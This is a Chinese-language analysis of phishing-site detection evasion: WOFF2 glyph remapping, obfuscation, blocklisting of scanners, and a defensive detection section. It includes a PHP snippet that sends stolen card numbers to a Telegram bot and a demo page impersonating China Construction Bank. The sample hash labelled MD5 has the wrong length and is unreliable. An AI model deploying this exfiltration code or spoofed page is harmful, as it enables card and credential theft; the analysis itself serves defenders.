【FireEye解读】钓鱼网站检测逃逸
字数 1056 2025-08-07 00:34:58
钓鱼网站检测逃逸技术深度解析
0x01 技术背景
本文解析了一种利用WOFF字体和多重检测规避技术的高级钓鱼攻击手法,该技术主要针对:
- 基于静态分析和正则表达式的安全检测系统
- 电子邮件安全网关
- 搜索引擎爬虫
- 自动化安全扫描工具
0x02 核心技术解析
2.1 WOFF字体混淆技术
攻击者使用WOFF2字体文件实现源码与渲染内容的分离:
- 字体映射机制:通过自定义字体文件建立字符映射关系(如p→u)
- 实现方式:
<style type="text/css"> @font-face { font-family: 'Slabo 27px'; src: url(1.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131...; } body { font-family: 'Slabo 27px', serif; } </style> - 实际效果:网页源码显示"umzzqvid",但用户看到的是"username"等诱导性内容
2.2 多重编码混淆技术
- HTML实体编码:对关键词进行编码混淆
<title>中国建设银行</title> - Base64内联字体:高级变种将WOFF2文件转换为Base64直接嵌入CSS
2.3 智能访问控制机制
钓鱼网站实现多维度访问控制:
-
IP黑白名单:
- 拦截已知安全厂商IP(Barracuda等)
- 拦截搜索引擎爬虫IP(Google、Altavista)
-
访问频率限制:
- GET请求超过5次 → 封禁IP
- POST提交超过3次 → 封禁IP
-
地理定位适配:
- 根据访问者IP自动切换语言版本
- 增强跨国钓鱼的成功率
0x03 数据回传机制
3.1 Telegram Bot API利用
-
数据收集:
- 信用卡信息
- 用户IP地址
- 其他敏感凭证
-
实现方式:
// 使用Telegram Bot API发送数据示例 $botToken = "YOUR_BOT_TOKEN"; $chatID = "TARGET_CHAT_ID"; $message = "New Victim: ".$_POST['cc_number']." from ".$_SERVER['REMOTE_ADDR']; file_get_contents("https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatID&text=".urlencode($message)); -
接收邮箱:
- yandex.com
- gmail.com
0x04 防御检测建议
4.1 针对WOFF混淆的检测
- 实现字体渲染后的DOM内容对比分析
- 建立常见钓鱼网站字体特征库
- 监控非常规unicode-range声明
4.2 针对智能访问的检测
- 多源IP分布式探测
- 模拟不同用户代理访问
- 行为模式分析(如短时间内多次重定向)
4.3 针对数据回传的检测
- 监控向Telegram API的异常请求
- 分析表单提交目标与显示URL的一致性
- 检测页面中的第三方通信代码
0x05 复现材料
-
WOFF2样本:
- MD5: 5dd216ad75ced5dd6acfb48d1ae11ba66fb373c26da7fc5efbdad9fd1c14f6e3
- 下载后重命名为1.woff2与HTML同目录
-
完整Demo代码:
<html> <head> <title>中国建设银行</title> <style type="text/css" media="screen, print"> @font-face { font-family: 'Slabo 27px'; font-style: normal; font-weight: 400; src: url(1.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153...; } body { font-family: 'Slabo 27px', serif; } </style> </head> <body> <span>umzzqvid:</span><input type="text"> </body> </html> -
Telegram API文档:
- 官方文档: https://core.telegram.org/api/obtaining_api_id
该技术组合展现了现代网络钓鱼攻击的复杂性和针对性,安全团队需要采用动态分析、行为检测和多维关联分析相结合的方式进行防御。